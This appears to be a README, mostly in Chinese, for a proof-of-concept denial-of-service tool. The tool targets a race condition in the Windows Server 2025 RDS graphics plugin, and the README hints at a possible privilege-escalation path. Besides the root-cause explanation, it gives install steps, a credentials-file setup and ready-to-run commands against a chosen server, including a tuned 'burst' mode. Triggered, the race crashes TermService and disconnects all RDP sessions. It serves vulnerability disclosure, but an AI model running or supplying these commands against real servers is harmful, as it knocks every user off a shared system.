针对 Windows Server 2025 RDS 会话主机上 rdpcorets.dll!CRdpPipeGfxPlugin::Enable 中 TOCTOU 竞态条件的复现程序。
我将其报告为 DoS;该代码路径似乎还以某种方式启用了 EoP。 此复现程序仅是 DoS 路径的 PoC。
Enable 在 this+0x60 处两次读取 COM 接口指针,且未进行同步。TerminateInstance 在其自身临界区范围之外清除同一字段。两者通过 PnP 设备到达和移除工作项在 NT 线程池上并发执行。第二次读取解引用空指针 → 访问冲突 → TermService 崩溃 → 所有活动 RDP 会话断开连接。
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030